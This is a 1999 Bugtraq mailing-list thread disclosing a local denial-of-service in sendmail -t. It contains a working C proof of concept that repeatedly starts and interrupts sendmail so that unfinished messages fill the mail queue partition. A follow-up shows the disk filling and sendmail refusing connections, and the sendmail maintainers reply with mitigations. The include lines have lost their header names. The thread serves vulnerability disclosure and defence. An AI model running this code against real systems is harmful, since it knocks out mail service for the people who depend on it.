Date: Thu, 1 Apr 1999 14:00:16 +0000 From: Lukasz Luzar To: BUGTRAQ@netspace.org Subject: Possible local DoS in sendmail Hi, It seems that sendmail ran with -t option does NOT block SIGINT ... In that moment while we are sending data to its stdin, when we will press CTRL-C process is being killed, but in queue rests unfinished letter. It stays there quite long - long enought to fullfill partition on disk where /var/spool/mqueue resides. When it happends, sendmail doesn't allow new connections - so it is a kind of DoS attack for this service. It has been tested on all new versions on sendmail up to current (8.9.3). Example ... --- CUT HERE ---- #include #include #include #include #define DELAY 5 /* time in seconds needed to reach MaxMessageSize limit */ #define SM_PATH "/usr/sbin/sendmail -t" void main() { FILE *fd; int pid; for(;;) { if(( pid = fork()) == 0) { setpgrp(); if(( fd = popen( SM_PATH, "w")) == NULL) fprintf( stderr, "popen error\n"); for(;;) fputc( 'A', fd); } else { sleep( DELAY); kill( (-1) * pid, SIGINT); fprintf( stdout, "next\n"); wait( NULL); } } } --- CUT HERE --- Regards, --- Lukasz Luzar K.K.I. http://noname.kki.krakow.pl/ lluzar@kki.pl --------------------------------------------------------------------- Date: Thu, 1 Apr 1999 14:41:41 -0500 From: KuRuPTioN To: BUGTRAQ@netspace.org Subject: Re: Possible local DoS in sendmail Well, this is very interesting... this is what I found my running this binary for 30 seconds =) Before: # df / Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hda1 303251 87681 199909 30% / # ps auwx | grep sendmail root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail: accepting connections on port 25 # ls -l /var/spool/mqueue total 0 # After (30 seconds running): # df / Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hda1 303251 107548 180042 37% / (not too bad but another 30 seconds later another df) Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hda1 303251 146235 141355 51% / # ps auwx | grep sendmail mail 17144 70.5 0.4 1348 820 p1 R 11:35 0:48 /usr/sbin/sendmail -t root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail: accepting connections on port 25 (sendmail kindly using 70% of my CPU) # ls -l /var/spool/mqueue total 115854 -rw------- 1 mail mail 118169600 Apr 1 11:37 dfLAA17144 -rw------- 1 mail mail 0 Apr 1 11:35 qfLAA17144 -rw------- 1 mail mail 0 Apr 1 11:35 xfLAA17144 (once again a df) # df / Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hda1 303251 224734 62856 78% / and once the hard drive becomes filled sendmail stops accepting connections since it has no temp space. # df / Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hda1 303251 287590 0 100% / # ps auwx | grep sendmail mail 17144 68.5 0.4 1348 820 p1 R 11:35 2:33 /usr/wrapped/sendmail -t root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail: rejecting connections on port 25: min free: 100 # People, this is no april fools joke =) Raymond T Sundland MCSE, MCP, MCP+Internet PGP Key: finger pgp@24.3.181.22 ----------------------------------------------------------------------------------- Date: Fri, 2 Apr 1999 10:23:26 -0800 From: Gregory Neil Shapiro To: BUGTRAQ@netspace.org Subject: Re: Possible local DoS in sendmail -----BEGIN PGP SIGNED MESSAGE----- Lukasz> In that moment while we are sending data to its stdin, when we will Lukasz> press CTRL-C process is being killed, but in queue rests unfinished Lukasz> letter. It stays there quite long - long enought to fullfill Lukasz> partition on disk where /var/spool/mqueue resides. When it Lukasz> happends, sendmail doesn't allow new connections - so it is a kind Lukasz> of DoS attack for this service. It has been tested on all new Lukasz> versions on sendmail up to current (8.9.3). Thanks for posting this info Lukasz. Unfortunately we believe this is just a variation on the many Denial of Service attacks possible from a Unix shell. In fact, it's "yet another queue filling" exercise. This problem affects most, if not all MTAs. Interestingly, the proposed DOS is less severe than the usual queue filling strategies such as repeatedly submitting large mails to an undeliverable address, such as someone@[10.255.255.255]. The reason for this is that the derelict files will be removed by the next scheduled queue run. In the case of legitimately queued mail, it will take the full queue return timeout before the queue entry is removed (assuming a lack of intervention on the administrator's part). The valid point you do raise is that shell-based DOS attacks are hard to deal with. In many cases, the only recourse is to identify and stop the offender. In this case we suggest that if this attack is a possibility at your site, you use process accounting to help trace the malicious user. Also, unless your script gets the timing exactly right every time, the queue submission will complete which will give more information about the identity of the attacker. As a side note, setting the MaxMessageSize option prevents any one message from filling the queue. Having said that, it does point out that sendmail could log the username and queue ID earlier to help make tracing this sort of attack even easier. We will look into the benefits of doing this for a future release. Lukasz as a final point, we really appreciate you raising this issue but in the future, we would prefer some consultation prior to posting to bugtraq. This will allow us to have all of the information available at the time of the posting. The address to contact us is sendmail-bugs@sendmail.org. Conclusion. Queue filling DOS attacks are not unique to sendmail. This is not a new problem. There is no general solution to this and many other DOS attacks apart from identifying and stopping the malicious user. -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0 for non-commercial use Comment: Processed by Mailcrypt 3.5.3, an Emacs/PGP interface Charset: noconv iQCVAwUBNwUKvXxLZ22gDhVjAQEv9QP9EgU5zmNeAZ63tUiRoq3C6OSbXEJ4yvw4 PLCkOWUJ4etCzBKa5i1/SCa9/mW+WHmR3WobNCI5m8Y9AqYjSSe+gQgnWXXH5CJH fRgtRNrvVewAIsW84QRQDFdapLPiq4ZZbEu7w55WNVdgnZwwTqXGeLJEgP+cAcTl ehf8dKqtahk= =7/+l -----END PGP SIGNATURE-----